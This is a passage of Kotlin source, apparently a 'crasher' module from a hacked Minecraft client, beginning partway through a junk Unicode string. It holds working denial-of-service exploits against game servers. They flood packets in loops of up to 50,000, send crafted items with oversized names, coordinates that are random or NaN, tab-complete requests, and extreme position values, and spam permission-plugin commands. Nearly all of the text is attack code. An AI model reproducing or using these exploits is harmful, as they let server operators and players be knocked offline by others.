\u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3 "
                ).toString()
                if (mc.thePlayer.capabilities.isCreativeMode) {
                    for (i2 in 0..49999) {
                        if (mc.thePlayer == null) break
                        val item = Item.getItemById(122)
                        val itemStack = ItemStack(item, 1)
                        itemStack.setStackDisplayName(nbt)
                        PacketUtils.sendPacketNoEvent(C10PacketCreativeInventoryAction(36, itemStack))
                    }
                }
            }

            "pex" -> if (pexTimer.hasTimePassed(2000) && pexModeValue.get().equals(2)) {
                mc.thePlayer.sendChatMessage(if (Random().nextBoolean()) "/pex promote a a" else "/pex demote a a")
                pexTimer.reset()
            }

            "swing" -> {
                var i = 0
                while (i < 5000) {
                    PacketUtils.sendPacketNoEvent(C0APacketAnimation())
                    i++
                }
            }

            "memetrixold" -> {
                if (mc.thePlayer.ticksExisted % 2 == 0) {
                    PacketUtils.sendPacketNoEvent(
                        C04PacketPlayerPosition(
                            RandomUtils.nextDouble(
                                -32768.0,
                                32768.0
                            ),
                            RandomUtils.nextDouble(-32768.0, 32768.0),
                            RandomUtils.nextDouble(-32768.0, 32768.0),
                            true
                        )
                    )
                }
            }

            "wiredncp" -> {
                mc.timer.timerSpeed = 0.45f
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        RandomUtils.nextDouble(
                            -1048576.0,
                            1048576.0
                        ),
                        RandomUtils.nextDouble(-1048576.0, 1048576.0),
                        RandomUtils.nextDouble(-1048576.0, 1048576.0),
                        true
                    )
                )
                PacketUtils.sendPacketNoEvent(
                    C04PacketPlayerPosition(
                        RandomUtils.nextDouble(
                            -65536.0,
                            65536.0
                        ), RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), true
                    )
                )
            }

            "itemswitch" -> {
                repeat(500) {
                    PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(RandomUtils.nextInt(0, 8)))
                }
            }

            "itemdrop" -> {
                mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT))
                repeat(500) {
                    PacketUtils.sendPacketNoEvent(
                        C0EPacketClickWindow(
                            0,
                            RandomUtils.nextInt(1, 35),
                            1,
                            4,
                            mc.thePlayer.inventory.getCurrentItem(),
                            0
                        )
                    )
                }
                mc.netHandler.addToSendQueue(C0DPacketCloseWindow())
            }

            "c08" -> {
                repeat(500) {
                    PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(mc.thePlayer.currentEquippedItem))
                }
            }

            "nullc08" -> {
                repeat(500) {
                    PacketUtils.sendPacketNoEvent(
                        C08PacketPlayerBlockPlacement(
                            BlockPos(
                                Double.NaN,
                                Double.NaN,
                                Double.NaN
                            ), 1, null, 0f, 0f, 0f
                        )
                    )
                }
            }

            "commandcomplete" -> {
                repeat(500) {
                    PacketUtils.sendPacketNoEvent(C14PacketTabComplete("/${RandomUtils.randomString(100)}"))
                }
            }

            "aac" -> {
                if (aacModeValue.get() == "4")
                    PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(1.7e+301, -999.0, 0.0, true))
            }

            else -> state = false
        }
    }

    @EventTarget
    fun onWorld(event: WorldEvent) {
        if (event.worldClient == null) {
            mc.timer.timerSpeed = 1.00f
            state = false
        }
    }

    override fun onDisable() {
        mc.timer.timerSpeed = 1f
    }

    @EventTarget
    fun onTick(event: TickEvent?) {
        if (mc.thePlayer == null || mc.theWorld == null) {
            mc.timer.timerSpeed = 1.00f
            state = false // Disable module in case you left the server
        }
    }

    override val tag: String
        get() = modeValue.get()
}